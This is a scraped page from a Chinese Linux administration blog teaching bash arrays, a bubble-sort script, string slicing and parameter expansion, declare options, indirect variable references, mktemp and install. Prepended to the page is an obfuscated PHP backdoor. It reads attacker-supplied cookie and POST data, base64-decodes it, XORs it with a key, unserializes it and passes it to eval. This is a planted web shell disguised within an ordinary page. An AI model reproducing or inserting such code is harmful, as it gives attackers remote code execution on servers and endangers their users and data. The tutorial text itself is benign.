$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 数组和字符串处理 | Linux运维部落

数组和字符串处理

数组:存储多个元素的连续的内存空间,相当于多个变量的集合
 
    1)定义数组:
        declare -a ARRAY_NAME 定义普通数组 可省略declare -a

]#arr=(a b c d e f)

        declare -A ARRAY_NAME 定义关联数组 即可自定义索引,可为字符、字符串等
  
    2)索引:
        类似于C语言,数组元素的下标由0开始编号。关联数组则由对应的键
 
    3)数组元素赋值
        1.一次附值一个元素:
           array_name[0]=value0

        2.一次赋值全部元素: 中间空格隔开;若某个值中含空格则需引号
           ARRAY_NAME=("VAL1" "VAL2" "VAL3" …)

        3.只赋值特定元素: 可不连续的赋值
            ARRAY_NAME=([0]="VAL1" [3]="VAL2" …)

        4.交互式数组值对赋值:不可管道传递数据
           read -a ARRAY
 
    4)数组的长度 元素的个数 非索引
          ${#ARRAY_NAME[*]}
          ${#ARRAY_NAME[@]}

    5)数组操作:
     1.引用数组中的元素:
  
    ${ARRAY_NAME[INDEX]} 省略[INDEX]则默认引用第一个元素,即arr[0]
    利用下标获取数组中指定的元素,下标可以是整数或算术表达式,其值应大于或等于0。

        所有元素:${ARRAY[@]}, ${ARRAY[*]}
  
        数组切片:${ARRAY[@]:offset:number}
        offset: 要跳过的元素个数
        number: 要取出的元素个数
        取偏移量之后的所有元素
        ${ARRAY[@]:offset}

]#echo ${arr[*]:2:3}
c d e

 显示数组arr第2个元素之后的3个元素
 
    2.指定删除数组中的某个元素
        unset ARRAY[INDEX]
   
  
练习 冒泡排序:
 

#!/bin/bash
#zjj

for((i=0;i<10;i++));do
    rand[$i]=$RANDOMdone
echo ${rand[@]}

echo ---------------------
for((j=0;j<10;j++));do
    for((k=j;k<9;k++));do
        if [ ${rand[$j]} -gt ${rand[$[k+1]]} ];then
            tmp=${rand[$j]}
            rand[$j]=${rand[$[k+1]]}
            rand[$[k+1]]=$tmp
        else
            continue
        fi
    done
done
echo ${rand[@]}



===============>
字符串处理:

仅显示有变化,未对变量值进行更改

]#var=123456

    1)字符串切片:
        ${#var}:返回字符串变量var的长度

]# echo ${#var}
6

        ${var:offset}:返回字符串变量var中从第offset个字符后所有字符
    offset取值在0 到${#var}-1 之间

]# echo ${var:2}
3456

        ${var:offset:number}:返回字符串变量var中从第offset个字符后number个字符

]# echo ${var:2:3}
345

        ${var: -lengh}:取字符串的最右侧几个字符
    注意:冒号后必须有一空白字符

]# echo ${var: -2}
56

        ${var:offset:-lengh}:从最左侧offset字符之后,到最右侧lengh个字符之前
        (bash4.2后,允许为负值)

]# echo ${var:2: -1}
345

    2)基于模式取子串

]#var=root:x:0:0:root:/root:/bin/bash


        1.自左而右:
            ${var#*word}:其中word可以为指定的任意字符
            删除第一次出现的word及其前面的字符

]# echo ${var#*root}
:x:0:0:root:/root:/bin/bash

            ${var##*word}:
            同上,不同的是,删除到最后一个匹配到的字符

]# echo ${var##*root}
:/bin/bash

        2.自右而左:
            ${var%word*}:其中word可以是指定的任意字符;
            删除自右向左第一个word及其后面的字符

]# echo ${var%root*}
root:x:0:0:root:/

            ${var%%word*}:
            同上,不同,删除自右向左最后一次出现word及其后的所有字符

]# echo ${var%%root*}

    3)查找替换、删除:
        ${var/pattern/substi}:
         第一次 被pattern所匹配到的字符串,以substi替换之
        ${var//pattern/substi}: 
         所有 被pattern所匹配到的字符串,以substi替换之
        ${var/#pattern/substi}:
         行首 被pattern所匹配到的字符串,以substi替换之
        ${var/%pattern/substi}:
         行尾 被pattern所匹配到的字符串,以substi替换之
 
   删除:
        ${var/pattern}:查找var值中,删除第一次被pattern所匹配到的字符串
        ${var//pattern}:所有
        ${var/#pattern}:行首
        ${var/%pattern}:行尾

    4)字符大小写转换:
        ${var^^}:把var中的所有小写字母转换为大写
        ${var,,}:把var中的所有大写字母转换为小写

变量赋值:

  ${var:-value}:如果var为空或未设置,那么返回value;否则,则返回var的值
  ${var:+value}:如果var不空,则返回value,否则返回空值
  ${var:=value}:var为空或未设置,那么返回value,并将value赋值给var;否则,则返回var的值
  ${var:?error_info}:var为空或未设置,那么在当前终端打印error_info;否则,则返回var的值


#declare [选项] 变量名
    -r 将变量设置为只读属性
    -i 将变量定义为整型数
    -a 将变量定义为数组
    -A 将变量定义为关联数组
    -f 显示此脚本前定义过的所有函数名及其内容
    -F 仅显示此脚本前定义过的所有函数名
    -x 将变量声明为环境变量
    -l 将变量值转为小写字母declare –l var=UPPER

    -u 将变量值转为大写字母declare –u var=lower
 

间接变量引用:
    第一个变量的值是第二个变量的名字,
    从第一个变量引用第二个变量的值称为间接变量引用
        var1=var2
        var2=value
    此时打印var1的值为var2,非value
    bash Shell提供了两种格式实现间接变量引用
        eval var3=\$$var1  eval命令 对变量进行两次扫描
        echo ${!var1}

]# var1=var2
]# var2=zjj
]# echo ${!var1}
zjj
]# eval var3=\$$var1
]# echo $var3
zjj


#mktemp[OPTION]… [TEMPLATE] 创建临时文件(随机文件名)可避免冲突
    -d 创建临时目录
    -p DIR 指定临时文件所存放目录的位置
 
 TEMPLATE: filename.XXX
 X至少要出现三个,代表几个随机字符

#install 安装复制文件 编译安装时常用 可直接将二进制文件赋予权限
    -m MODE 指定权限 默认755
    -o OWNER 指定属主
    -g GROUP 指定属组

原创文章,作者:Jasper,如若转载,请注明出处:http://www.178linux.com/39259

(0)
上一篇 2016-08-24 10:12
下一篇 2016-08-24 10:13

相关推荐

  • 浅谈编译kernel+busybox构建拥有远程ssh登录和web功能最小linux系统(一)

    实验环境win7+VM11.1 大致过程总揽 1,硬件准备以及查看硬件设备型号(不用担心,这些都是VM虚拟出来的) 2,编译环境的配置以及下载内核源码以及编译内核 3,编译busybox,以及提供系统正常运行的配置文件,初步运行linux系统 4,编译安装dropbear提供ssh服务 5,安装nginx;提供web服务 一,硬件准备以及查看硬件设备型号 由…

    Linux干货 2015-09-22
  • 上下文管理练习(为加法函数计时)

    上下文管理(为加法函数计时) 为加法函数计时 使用装饰器显示该函数的执行时长 使用上下文管理显示该函数的执行时长 装饰器实现 import time import datetime from functools import wraps def logger(fn): @wraps(fn) # wraps(fn)(wrapper) def wrapper(*…

    2017-11-18
  • linux系统基础目录结构及功能说明

    linux系统基础目录结构及功能说明 [root@localhost /]# ls bin boot dev etc home host lib lib64 media mnt opt proc root run sbin srv sys tmp usr var /bin:所有用户可用的基本命令程序文件;/sbin:供系统管理使用的工具程序;/boot:引导…

    Linux干货 2018-03-04
  • Linux 根文件系统层级结构

    一、Linux根文件系统层级结构图 二、Linux根文件系统目录说明

    Linux干货 2016-09-26
  • Linux中的账号管理(上)

    一背景  Linux  是  一个真实的、完整的多用户多任务操作系统,多用户多任务就是可以在系统上建立多个用户,而多个用户可以在同一时间内登录同一个系统执行各自不同的任务,而互不影响,例如某台linux服务器上有4个用户,分别是root、www、ftp和mysql,在同一时间内,root用户可能在查看系统日志,管理维护系统,ww…

    Linux干货 2016-08-04
  • N26-博客作业-week14

    系统的INPUT和OUTPUT默认策略为DROP; 1、限制本地主机的web服务器在周一不允许访问;新请求的速率不能超过100个每秒;web服务器包含了admin字符串的页面不允许访问;web服务器仅允许响应报文离开本机; 配置系统INPUT和OUTPUT默认策略为DROP# iptables -P INPUT DROP# iptables -P OUTPU…

    Linux干货 2017-06-22